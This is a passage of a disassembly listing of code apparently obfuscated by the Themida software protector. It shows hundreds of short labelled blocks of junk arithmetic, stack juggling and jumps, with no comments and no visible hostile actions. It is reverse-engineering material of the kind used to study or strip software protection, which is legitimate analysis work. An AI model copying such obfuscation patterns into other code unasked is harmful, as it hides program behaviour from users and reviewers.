		push	ebx
		mov	bl, al
		mov	dh, bl
		pop	ebx
		pop	eax
		jmp	loc_59D617
; ---------------------------------------------------------------------------


loc_59C768:				; CODE XREF: Themida_:0059D0E9j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 5FEA7C51h
		or	ebx, 2E806E9Ah
		jge	loc_5AD63B
		not	ebx
		push	esi
		mov	esi, 740E4F9Dh
		push	ecx
		pop	eax


loc_59C7A3:				; CODE XREF: Themida_:005A1DCDj
		mov	edx, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59C7BF:				; CODE XREF: Themida_:005A2F1Ej
		pop	ebp
		add	ebp, 4
		push	ebx
		mov	ebx, 2
		add	ebp, ebx
		jmp	loc_59926D
; ---------------------------------------------------------------------------


loc_59C7D3:				; CODE XREF: Themida_:005A6A17j
		and	ecx, 0BA5305Dh
		jmp	loc_59A7E3
; ---------------------------------------------------------------------------


loc_59C7DE:				; CODE XREF: Themida_:0059DB2Aj
		add	esp, 4
		jmp	loc_599F1A
; ---------------------------------------------------------------------------


loc_59C7E6:				; CODE XREF: Themida_:005ADB4Cj
					; Themida_:005AEC99j
		neg	ebx
		and	ebx, 360C487Dh
		not	ebx
		push	esi
		mov	esi, 9B478EA7h
		xor	ebx, esi
		jmp	loc_59ED2C
; ---------------------------------------------------------------------------


loc_59C7FD:				; CODE XREF: Themida_:005A666Aj
		push	eax
		mov	eax, 1D016C51h
		shl	eax, 1
		not	eax
		sub	eax, 5DA75483h
		xor	eax, 71FA3CD2h
		push	edi
		jmp	loc_5AA280
; ---------------------------------------------------------------------------


loc_59C817:				; CODE XREF: Themida_:0059D545j
		pop	edx
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5A7EA2
; ---------------------------------------------------------------------------


loc_59C829:				; CODE XREF: Themida_:005A76DDj
		dec	ebx
		xor	ebx, 13FD51D0h
		jmp	loc_5A9EDC
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0FEh
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C83B:				; CODE XREF: Themida_:005AB5F0j
		mov	esi, edi
		pop	edi
		add	eax, 2BB84577h
		sub	eax, 24276411h
		sub	eax, esi
		add	eax, 24276411h
		jmp	loc_5A9658
; ---------------------------------------------------------------------------


loc_59C854:				; CODE XREF: Themida_:0059F871j
		or	eax, 386950FDh
		dec	eax
		jmp	loc_59A400
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_59C364
; ---------------------------------------------------------------------------


loc_59C86D:				; CODE XREF: Themida_:005ABF5Ej
		mov	[esp], si
		not	word ptr [esp]
		mov	si, [esp]
		push	edi
		push	esp
		pop	edi
		push	edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_598F59
; ---------------------------------------------------------------------------


loc_59C889:				; CODE XREF: Themida_:005A4E3Ej
		mov	ebp, edx
		jmp	loc_5A6316
; ---------------------------------------------------------------------------


loc_59C890:				; CODE XREF: Themida_:005A44D2j
		push	ecx
		push	0
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, ecx
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_59AD96
; ---------------------------------------------------------------------------


loc_59C8AF:				; CODE XREF: Themida_:005ACA74j
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5A5424
; ---------------------------------------------------------------------------


loc_59C8D1:				; CODE XREF: Themida_:005AD68Cj
		xor	esi, ebp
		jmp	loc_5A3E67
; ---------------------------------------------------------------------------


loc_59C8D8:				; CODE XREF: Themida_:005A578Cj
		xor	eax, edi
		jmp	loc_5A21AA
; ---------------------------------------------------------------------------


loc_59C8DF:				; CODE XREF: Themida_:005A6B56j
		sub	esp, 4
		jmp	loc_59A3A3
; ---------------------------------------------------------------------------


loc_59C8E7:				; CODE XREF: Themida_:005A0B08j
		pop	esp
		jmp	loc_59ABD8
; ---------------------------------------------------------------------------


loc_59C8ED:				; CODE XREF: Themida_:005A9D10j
		xor	esi, 0B4A6D0E3h
		mov	edx, esi
		pop	esi
		jmp	loc_59B813
; ---------------------------------------------------------------------------


loc_59C8FB:				; CODE XREF: Themida_:005997A2j
		push	edi
		jmp	loc_5A484D
; ---------------------------------------------------------------------------


loc_59C901:				; CODE XREF: Themida_:005AF13Dj
		add	al, 0A5h
		pop	dx
		push	56ECh
		mov	[esp], ecx
		mov	ch, 0CBh
		push	ecx
		push	eax
		mov	ah, dl
		mov	dl, [esp+5]
		mov	[esp+5], ah
		pop	eax
		not	dl
		xchg	dl, [esp+1]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A0BB2
; ---------------------------------------------------------------------------


loc_59C930:				; CODE XREF: Themida_:0059D480j
		add	edx, eax
		push	ebx
		mov	ebx, 63FC36DCh
		jmp	loc_5A7BC7
; ---------------------------------------------------------------------------


loc_59C93D:				; CODE XREF: Themida_:0059D627j
		mov	esi, 4
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	ecx
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59C955:				; CODE XREF: Themida_:00599C3Fj
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5A58DB
; ---------------------------------------------------------------------------


loc_59C96F:				; CODE XREF: Themida_:005A80AAj
		xor	ch, bh
		pop	bx
		push	bx
		push	ecx
		jmp	loc_5ABDD4
; ---------------------------------------------------------------------------


loc_59C97B:				; CODE XREF: Themida_:005AFDD2j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	ecx, 4
		jmp	loc_5A0726
; ---------------------------------------------------------------------------


loc_59C991:				; CODE XREF: Themida_:005AA616j
		sub	eax, 60694804h
		sub	eax, 70511C9Eh
		add	eax, 9F73FC5h
		add	eax, ebp
		push	7ADCh
		mov	[esp], ebp
		mov	ebp, 59525FFBh
		xor	ebp, 4835A3Eh
		xor	ebp, 48C83529h
		add	ebp, 1
		jmp	loc_59B5DF
; ---------------------------------------------------------------------------


loc_59C9C6:				; CODE XREF: Themida_:005AFD99j
		pop	ebx
		xor	ebx, 40927A3h
		pop	ebp
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_59E692
; ---------------------------------------------------------------------------


loc_59C9D8:				; CODE XREF: Themida_:0059C52Bj
		jo	loc_5AD008
		xor	edx, 4791562Eh
		push	edx
		jmp	loc_5AAB6F
; ---------------------------------------------------------------------------


loc_59C9EA:				; CODE XREF: Themida_:005AD218j
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		mov	ecx, 57240B1Fh
		jmp	loc_59FC5E
; ---------------------------------------------------------------------------


loc_59C9FA:				; CODE XREF: Themida_:005A4F53j
		xor	ebx, 0DD3A16E9h
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		jmp	loc_59FD64
; ---------------------------------------------------------------------------


loc_59CA13:				; CODE XREF: Themida_:005A6763j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	3500h
		mov	[esp], ebx
		jmp	loc_59BD0F
; ---------------------------------------------------------------------------


loc_59CA30:				; CODE XREF: Themida_:loc_5AE30Bj
		push	eax
		push	ebx
		mov	ebx, 0EF7779Fh
		mov	eax, ebx
		pop	ebx
		xor	edi, eax
		push	dword ptr [esp]
		jmp	loc_5A8EB7
; ---------------------------------------------------------------------------


loc_59CA44:				; CODE XREF: Themida_:005AABECj
		pop	ecx
		push	1C97h
		jmp	loc_5A0ECA
; ---------------------------------------------------------------------------


loc_59CA4F:				; CODE XREF: Themida_:005AE8E0j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 166C562Bh
		or	eax, ecx
		mov	ecx, [esp]
		jmp	loc_59AF9B
; ---------------------------------------------------------------------------


loc_59CA67:				; CODE XREF: Themida_:0059C2CDj
		push	604Eh
		mov	[esp], edi
		mov	edi, 2
		push	ebx
		mov	ebx, 19C10434h
		xor	ebx, esi
		jmp	loc_59D036
; ---------------------------------------------------------------------------


loc_59CA81:				; CODE XREF: Themida_:005A57DDj
		pop	eax
		jmp	loc_5A5942
; ---------------------------------------------------------------------------


loc_59CA87:				; CODE XREF: Themida_:0059F40Bj
		push	2A90h
		jmp	loc_5AF02E
; ---------------------------------------------------------------------------


loc_59CA91:				; CODE XREF: Themida_:005A786Ej
		shr	edi, 1
		xchg	ecx, edi
		jmp	loc_5A4509
; ---------------------------------------------------------------------------


loc_59CA9A:				; CODE XREF: Themida_:005A1F6Bj
		pop	esi
		jmp	loc_5A6B4A
; ---------------------------------------------------------------------------


loc_59CAA0:				; CODE XREF: Themida_:00598BB9j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_59BDE6
; ---------------------------------------------------------------------------


loc_59CAB4:				; CODE XREF: Themida_:005A8013j
		mov	dl, cl
		jmp	loc_59941C
; ---------------------------------------------------------------------------


loc_59CABB:				; CODE XREF: Themida_:005991E3j
		add	ecx, 81CA8826h
		push	eax
		jmp	loc_5A6178
; ---------------------------------------------------------------------------


loc_59CAC7:				; CODE XREF: Themida_:005AB244j
		add	edi, ebx
		jmp	loc_5A5A7D
; ---------------------------------------------------------------------------


loc_59CACE:				; CODE XREF: Themida_:005AFBF4j
		pop	edx
		sub	ebp, 7D0F7E5Dh
		add	ebp, edi
		add	ebp, 7D0F7E5Dh
		pop	edi
		jmp	loc_59F94A
; ---------------------------------------------------------------------------


loc_59CAE3:				; CODE XREF: Themida_:005A5B35j
		pop	ebx
		jmp	loc_59B22F
; ---------------------------------------------------------------------------


loc_59CAE9:				; CODE XREF: Themida_:005A06A0j
		xor	eax, 6F07540Bh
		sub	esp, 4
		mov	[esp], eax
		xor	dword ptr [esp], 23256592h
		pop	edi
		jmp	loc_5A19F4
; ---------------------------------------------------------------------------


loc_59CB01:				; CODE XREF: Themida_:0059D8DBj
		sub	esp, 2
		jmp	loc_5A66A9
; ---------------------------------------------------------------------------


loc_59CB0C:				; CODE XREF: Themida_:loc_59B7E9j
		sub	edi, 2D340FE3h
		jnb	loc_5AC92C
		jmp	loc_59CFB7
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, esp
		mov	dh, 9
		push	ebp


loc_59CB24:				; CODE XREF: Themida_:005ABD73j
		mov	[esp], ecx
		push	ebx
		mov	ebx, 37E94131h
		shl	ebx, 7
		jmp	loc_5ABA9D
; ---------------------------------------------------------------------------


loc_59CB35:				; CODE XREF: Themida_:0059B5C3j
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		jmp	loc_59FFDD
; ---------------------------------------------------------------------------
		dd 0DE004BB3h, 0FFFCE0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59CB55:				; CODE XREF: Themida_:loc_5A0FABj
					; Themida_:005A3B3Fj
		mov	dl, 0C3h
		jmp	loc_5ADF29
; ---------------------------------------------------------------------------


loc_59CB5C:				; CODE XREF: Themida_:005AB479j
		mov	dh, ah
		jmp	loc_5AB829
; ---------------------------------------------------------------------------


loc_59CB63:				; CODE XREF: Themida_:005AEA3Ej
		pop	esi
		jmp	loc_5A9A3F
; ---------------------------------------------------------------------------


loc_59CB69:				; CODE XREF: Themida_:005A43A4j
		and	ebx, 9083636h
		add	ebx, 0F6F7FA00h
		mov	ecx, ebx
		pop	ebx
		add	[esp+4], ecx
		pop	ecx
		pop	esi
		jmp	loc_5AB65F
; ---------------------------------------------------------------------------


loc_59CB83:				; CODE XREF: Themida_:005A4C22j
					; Themida_:loc_5AFBA2j
		push	ebx
		mov	ebx, 46AF31A4h
		dec	ebx
		push	ebp
		mov	ebp, 5A215DE6h
		jmp	loc_59EABA
; ---------------------------------------------------------------------------


loc_59CB95:				; CODE XREF: Themida_:loc_5A6843j
		dec	edx
		jmp	loc_59BCFE
; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------
		and	al, 24h
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	ebp
		jmp	loc_5A04C8
; ---------------------------------------------------------------------------


loc_59CBC5:				; CODE XREF: Themida_:005ADB25j
		pop	edi
		mov	esi, edx
		mov	edx, [esp]
		jmp	loc_598AE1
; ---------------------------------------------------------------------------


loc_59CBD0:				; CODE XREF: Themida_:005AB5B3j
					; Themida_:005AC50Ej ...
		jmp	loc_5AEBAE
; ---------------------------------------------------------------------------


loc_59CBD5:				; CODE XREF: Themida_:0059AD7Bj
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A2446
; ---------------------------------------------------------------------------


loc_59CBEF:				; CODE XREF: Themida_:0059B6F3j
		pop	ebx
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59CBF5:				; CODE XREF: Themida_:0059B944j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A9466
; ---------------------------------------------------------------------------


loc_59CC03:				; CODE XREF: Themida_:005AF7A0j
		jmp	loc_5AD51A
; ---------------------------------------------------------------------------


loc_59CC08:				; CODE XREF: Themida_:0059A1EDj
		xchg	eax, edx
		not	eax
		push	edx
		push	eax
		jmp	loc_5AF34B
; ---------------------------------------------------------------------------


loc_59CC12:				; CODE XREF: Themida_:loc_5A98C0j
		sub	edx, 0FFFFFFFFh
		shl	edx, 2
		jmp	loc_59E16B
; ---------------------------------------------------------------------------


loc_59CC20:				; CODE XREF: Themida_:00598BC1j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		sub	edx, 462D760Eh
		sub	edx, 23386CC0h
		add	edx, 1C945883h
		add	edx, ebx
		sub	edx, 1C945883h
		jmp	loc_5AA5C5
; ---------------------------------------------------------------------------


loc_59CC4B:				; CODE XREF: Themida_:005A2DA3j
		add	edi, 2E7F2384h
		jmp	loc_59FFAC
; ---------------------------------------------------------------------------


loc_59CC56:				; CODE XREF: Themida_:005AD58Dj
		pop	ebp
		push	ebx
		mov	ebx, 0A43B87D1h
		xor	eax, ebx
		pop	ebx
		push	ecx
		mov	ecx, 34C21408h
		sub	ecx, 0EB5EBA5Eh
		sub	esi, ecx
		jmp	loc_5A3D68
; ---------------------------------------------------------------------------


loc_59CC73:				; CODE XREF: Themida_:0059C054j
		push	esi
		mov	esi, 31322E25h
		sub	ebx, esi
		jmp	loc_5A4D9D
; ---------------------------------------------------------------------------


loc_59CC80:				; CODE XREF: Themida_:005AD4F5j
		add	eax, 38B52EF3h
		add	eax, 685B7E5Ch
		jmp	loc_59FA21
; ---------------------------------------------------------------------------


loc_59CC8F:				; CODE XREF: Themida_:005ACEF5j
		sub	ebx, 3F346D6h
		jmp	loc_5AE35D
; ---------------------------------------------------------------------------


loc_59CC9A:				; CODE XREF: Themida_:005AAFF7j
		pop	esi
		add	edi, 0FFFFFFFFh
		shl	edi, 3
		push	ebx
		push	ebp
		mov	ebp, 3D9A2C42h
		jmp	loc_59F479
; ---------------------------------------------------------------------------


loc_59CCAD:				; CODE XREF: Themida_:005A8E90j
		shl	eax, 8
		xor	eax, 0FE678B8Fh
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		add	edx, 2
		jmp	loc_59D69C
; ---------------------------------------------------------------------------


loc_59CCD2:				; CODE XREF: Themida_:005ACE3Dj
		sub	ebx, esi
		sub	ebx, 1EE57EA7h
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7C2E57A9h
		add	ebx, ebp
		jmp	loc_5ACBDD
; ---------------------------------------------------------------------------


loc_59CCF0:				; CODE XREF: Themida_:005ACA58j
		and	edi, 1A320855h
		push	ebp
		mov	ebp, 5C16A4D6h
		jmp	loc_5A93AD
; ---------------------------------------------------------------------------


loc_59CD01:				; CODE XREF: Themida_:00599745j
		sub	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	262Bh
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5A554A
; ---------------------------------------------------------------------------


loc_59CD16:				; CODE XREF: Themida_:005A575Aj
		sub	esp, 4
		jmp	loc_5AC715
; ---------------------------------------------------------------------------


loc_59CD1E:				; CODE XREF: Themida_:005A13DCj
		sub	edx, 0B9B10C40h
		not	edx
		jmp	loc_59FFC6
; ---------------------------------------------------------------------------


loc_59CD2B:				; CODE XREF: Themida_:005A1122j
		mov	edi, [esp]
		jmp	loc_59E532
; ---------------------------------------------------------------------------


loc_59CD33:				; CODE XREF: Themida_:005A154Bj
		mov	ecx, 15202D64h
		xor	ecx, 48F67EE8h
		xor	edx, ecx
		pop	ecx
		and	edx, 79F567D6h
		push	ebx
		jmp	loc_5A99A2
; ---------------------------------------------------------------------------


loc_59CD4D:				; CODE XREF: Themida_:loc_599563j
		push	ebp
		mov	ebp, 830E41C8h
		jmp	loc_59FF17
; ---------------------------------------------------------------------------


loc_59CD58:				; CODE XREF: Themida_:005A04F9j
		mov	eax, edx
		pop	edx
		jmp	loc_59BDA1
; ---------------------------------------------------------------------------


loc_59CD60:				; CODE XREF: Themida_:005A7377j
		add	edx, ebp
		jmp	loc_598E26
; ---------------------------------------------------------------------------


loc_59CD67:				; CODE XREF: Themida_:005A9527j
		push	edi
		mov	edi, 12D95568h
		sub	edi, 1EA6469Fh
		sub	esi, edi
		jmp	loc_5AC378
; ---------------------------------------------------------------------------


loc_59CD7A:				; CODE XREF: Themida_:0059A1D4j
		pop	eax
		jmp	loc_599189
; ---------------------------------------------------------------------------


loc_59CD80:				; CODE XREF: Themida_:005A250Ej
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5A2941
; ---------------------------------------------------------------------------


loc_59CD89:				; CODE XREF: Themida_:005A6C6Fj
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59A64C
; ---------------------------------------------------------------------------


loc_59CD95:				; CODE XREF: Themida_:0059A91Ej
		push	edx
		mov	edx, 1C637FACh
		push	ecx
		push	edi
		mov	edi, 4D9B48BDh
		jmp	loc_59B57D
; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------
		and	al, 24h
		push	eax
		mov	eax, 4
		sub	dword ptr [esp+4], 4B62387Fh
		jmp	loc_5AC9BA
; ---------------------------------------------------------------------------


loc_59CDBD:				; CODE XREF: Themida_:005AB69Ej
		push	12CAh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5AE1D6
; ---------------------------------------------------------------------------


loc_59CDD2:				; CODE XREF: Themida_:005AFDF2j
		mov	cl, 0D7h
		jmp	loc_59F2E9
; ---------------------------------------------------------------------------


loc_59CDD9:				; CODE XREF: Themida_:00599B7Fj
		mov	ecx, 4EF552A7h
		add	ecx, 6DD9123Ch
		sub	ecx, ebp
		push	edx
		mov	edx, 6DD9123Ch
		push	eax
		jmp	loc_5A2951
; ---------------------------------------------------------------------------


loc_59CDF2:				; CODE XREF: Themida_:005AD42Bj
		shr	ebp, 4
		dec	ebp
		add	ebp, 4BAB29E6h
		inc	ebp
		or	ebp, 14D71251h
		xor	ebp, 5FF7FFF9h
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 8000h
		jmp	loc_5A6B1C
; ---------------------------------------------------------------------------


loc_59CE34:				; CODE XREF: Themida_:005AD479j
		pop	eax
		mov	ecx, 9A643514h
		add	ecx, 123A4E65h
		sub	ecx, edi
		sub	ecx, 123A4E65h
		pop	edi
		jmp	loc_5AE81F
; ---------------------------------------------------------------------------


loc_59CE4E:				; CODE XREF: Themida_:005A75F4j
					; Themida_:loc_5AD430j
		add	esp, 4
		push	398Ah
		mov	[esp], ebp
		push	7C81h
		mov	[esp], esi
		push	46F15328h
		pop	esi
		push	6DB7h
		mov	[esp], ebp
		push	eax
		mov	eax, 363F19F6h
		xor	eax, 26F02D56h
		add	eax, 0A83F7838h
		jmp	loc_59EA75
; ---------------------------------------------------------------------------


loc_59CE87:				; CODE XREF: Themida_:00599528j
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 760B0A87h
		neg	esi
		not	esi
		shl	esi, 5
		jmp	loc_5AB619
; ---------------------------------------------------------------------------


loc_59CEA6:				; CODE XREF: Themida_:0059AEDEj
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	76D3h
		mov	[esp], ecx
		push	edx
		jmp	loc_5A9B86
; ---------------------------------------------------------------------------


loc_59CEBD:				; CODE XREF: Themida_:005A39D9j
		push	edi
		push	ecx
		mov	ecx, 0
		mov	edi, ecx
		pop	ecx
		jmp	loc_5A353F
; ---------------------------------------------------------------------------


loc_59CECC:				; CODE XREF: Themida_:005A9418j
		sub	edx, esi
		jmp	loc_59DF49
; ---------------------------------------------------------------------------


loc_59CED3:				; CODE XREF: Themida_:0059F403j
		mov	[esp], ebp
		mov	ebp, 5E8813B5h
		jmp	loc_5A8B70
; ---------------------------------------------------------------------------


loc_59CEE0:				; CODE XREF: Themida_:005ADAEEj
		sub	al, dl
		pop	edx
		sub	al, 0DCh
		push	edx
		jmp	loc_59A044
; ---------------------------------------------------------------------------


loc_59CEEB:				; CODE XREF: Themida_:0059F7B9j
		add	edi, 612506A6h
		add	edi, 44148AA0h
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	edi, [esp]
		jmp	loc_59E87C
; ---------------------------------------------------------------------------


loc_59CF07:				; CODE XREF: Themida_:0059E331j
		push	2B7Eh
		mov	[esp], eax
		jmp	loc_5AEB91
; ---------------------------------------------------------------------------


loc_59CF14:				; CODE XREF: Themida_:005AC056j
		mov	[esp], ebx
		mov	ebx, 18234DD0h
		sub	[esp+4], ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	eax, [esp]
		push	esi
		push	esp
		pop	esi
		push	ecx
		push	ebx
		jmp	loc_59EB7C
; ---------------------------------------------------------------------------


loc_59CF34:				; DATA XREF: Themida_:0059884Co
		mov	cx, [esp]
		jmp	loc_5AB898
; ---------------------------------------------------------------------------


loc_59CF3D:				; CODE XREF: Themida_:loc_5A7F22j
		shl	edx, 6
		jmp	loc_59C6B8
; ---------------------------------------------------------------------------


loc_59CF45:				; CODE XREF: Themida_:loc_5A77F2j
		xor	esi, 2DDB5F7Eh
		xor	esi, 302E7A90h
		jmp	loc_599059
; ---------------------------------------------------------------------------


loc_59CF56:				; CODE XREF: Themida_:005A0153j
		add	edx, 7ECB0B4Fh
		pop	edi
		jmp	loc_5AEBD0
; ---------------------------------------------------------------------------


loc_59CF62:				; CODE XREF: Themida_:005A3AA2j
					; Themida_:005A8F1Cj
		push	esi
		mov	esi, 4F8C49A0h
		mov	edi, esi
		pop	esi
		xor	edi, 61D85B50h
		jmp	loc_5A04EC
; ---------------------------------------------------------------------------


loc_59CF76:				; CODE XREF: Themida_:005AF887j
		push	ebx
		mov	ebx, 458CDEFFh
		jmp	loc_5A469A
; ---------------------------------------------------------------------------


loc_59CF81:				; CODE XREF: Themida_:005A5C23j
					; Themida_:005AD9A6j
		mov	ebp, 56067221h
		jmp	loc_5A37BB
; ---------------------------------------------------------------------------


loc_59CF8B:				; CODE XREF: Themida_:00598AACj
		xor	edi, 3ED48CA4h
		push	edi
		pop	esi
		jmp	loc_5A3A65
; ---------------------------------------------------------------------------


loc_59CF98:				; CODE XREF: Themida_:005A19EFj
		push	dword ptr [edi+eax*4]
		push	edi
		jmp	loc_59A915
; ---------------------------------------------------------------------------


loc_59CFA1:				; CODE XREF: Themida_:005A5ECBj
		sub	esp, 4
		mov	[esp], eax
		mov	al, 33h
		mov	bh, al
		pop	eax
		push	eax
		push	edx
		mov	dh, bh
		push	ecx
		push	eax
		jmp	loc_5A1E80
; ---------------------------------------------------------------------------


loc_59CFB7:				; CODE XREF: Themida_:0059CB18j
					; Themida_:loc_5AE7C0j
		inc	bl
		jge	loc_5A9054
		or	bl, 3Bh
		jmp	loc_5AFAB0
; ---------------------------------------------------------------------------


loc_59CFC7:				; CODE XREF: Themida_:005ABE75j
		push	1E47h
		mov	[esp], edi
		mov	edi, 794E56C0h
		and	edi, 11623931h
		push	ecx
		mov	ecx, 46FD3E0Ch
		jmp	loc_5A13BA
; ---------------------------------------------------------------------------


loc_59CFE5:				; CODE XREF: Themida_:005AD3F3j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		jmp	loc_5A73FA
; ---------------------------------------------------------------------------


loc_59CFF2:				; CODE XREF: Themida_:005AEC37j
		push	ebp
		mov	ebp, 69DB259Dh
		mov	ecx, 33F10918h
		xor	ecx, ebp
		jmp	loc_5ACE6D
; ---------------------------------------------------------------------------


loc_59D004:				; CODE XREF: Themida_:005AD27Bj
		add	ebp, 0FE772D3Eh
		add	edi, ebp
		jmp	loc_59BA2E
; ---------------------------------------------------------------------------


loc_59D011:				; CODE XREF: Themida_:005A0835j
		mov	dx, [esp]
		add	esp, 2
		not	dh
		jmp	loc_5A7593
; ---------------------------------------------------------------------------


loc_59D022:				; CODE XREF: Themida_:005A0295j
		sub	ecx, 2D0362C7h
		xor	ecx, 0FF521F9Eh
		mov	edx, ecx
		pop	ecx
		jmp	loc_5A6E67
; ---------------------------------------------------------------------------


loc_59D036:				; CODE XREF: Themida_:0059CA7Cj
		xor	esi, ebx
		xor	ebx, esi
		not	esi
		xchg	esi, ebx
		shr	ebx, 2
		shl	ebx, 1
		inc	ebx
		not	ebx
		sub	ebx, 22A35908h
		add	eax, ebx
		pop	ebx
		jmp	loc_5A7FEF
; ---------------------------------------------------------------------------


loc_59D054:				; CODE XREF: Themida_:0059C732j
		mov	ecx, [esp]
		jmp	loc_5A698E
; ---------------------------------------------------------------------------


loc_59D05C:				; CODE XREF: Themida_:0059DF35j
		add	esi, edx
		pop	edx
		jmp	loc_59E49D
; ---------------------------------------------------------------------------


loc_59D064:				; CODE XREF: Themida_:005A3632j
		mov	edi, 3CA279A7h
		mov	ecx, 30FB73F9h
		xor	ecx, edi
		pop	edi
		dec	ecx
		xor	ecx, 5CB42CC8h
		sub	eax, ecx
		pop	ecx
		jmp	loc_5AE098
; ---------------------------------------------------------------------------


loc_59D080:				; CODE XREF: Themida_:loc_5AB636j
		xor	edi, 0A0170E02h
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59A9DF
; ---------------------------------------------------------------------------


loc_59D094:				; CODE XREF: Themida_:005A4305j
		pop	eax
		jmp	loc_5AA56D
; ---------------------------------------------------------------------------


loc_59D09A:				; CODE XREF: Themida_:005AE97Bj
		mov	[esp], eax
		push	ebx
		jmp	loc_5AA906
; ---------------------------------------------------------------------------


loc_59D0A3:				; CODE XREF: Themida_:005A1AE4j
		or	ebx, 700858FBh
		push	esi
		mov	esi, 778C624Dh
		shl	esi, 2
		shl	esi, 2
		and	esi, 2CF43AEBh
		push	eax
		mov	eax, 17B49C8Ch
		xor	esi, eax
		jmp	loc_5A3647
; ---------------------------------------------------------------------------


loc_59D0C8:				; CODE XREF: Themida_:0059C57Fj
		pop	edi
		jmp	loc_5A555F
; ---------------------------------------------------------------------------


loc_59D0CE:				; CODE XREF: Themida_:0059F2A6j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	6089h
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_59C768
; ---------------------------------------------------------------------------


loc_59D0EE:				; CODE XREF: Themida_:005A3BD2j
		add	esp, 4
		add	eax, 4AE529F2h
		jmp	loc_5ADE9B
; ---------------------------------------------------------------------------


loc_59D0FE:				; CODE XREF: Themida_:005A7507j
		or	ebp, 6D3B3F23h
		jmp	loc_5A6F1F
; ---------------------------------------------------------------------------


loc_59D109:				; CODE XREF: Themida_:0059BDB6j
					; Themida_:005A2AEDj
		push	ecx
		mov	ch, 61h
		xor	ch, 0CBh
		jmp	loc_59EB26
; ---------------------------------------------------------------------------


loc_59D114:				; CODE XREF: Themida_:0059B71Cj
		pop	ebp
		push	48BBh
		mov	[esp], eax
		mov	eax, 6A1F9Bh
		and	eax, 344E05B1h
		jo	loc_5A6D0B
		xor	eax, 37F426AFh
		js	loc_5A75B8
		not	eax
		shr	eax, 5
		jz	loc_5A790B
		add	eax, 0F9BDF11Eh
		push	ebx
		mov	ebx, 5715369Eh
		sub	ebp, 309C4592h
		sub	ebp, 327852ECh
		sub	ebp, 6CC86F78h
		add	ebp, ebx
		add	ebp, 6CC86F78h
		add	ebp, 327852ECh
		add	ebp, 309C4592h
		pop	ebx
		sub	ebp, 35BE56B3h
		add	ebp, eax
		add	ebp, 35BE56B3h
		jmp	loc_59F849
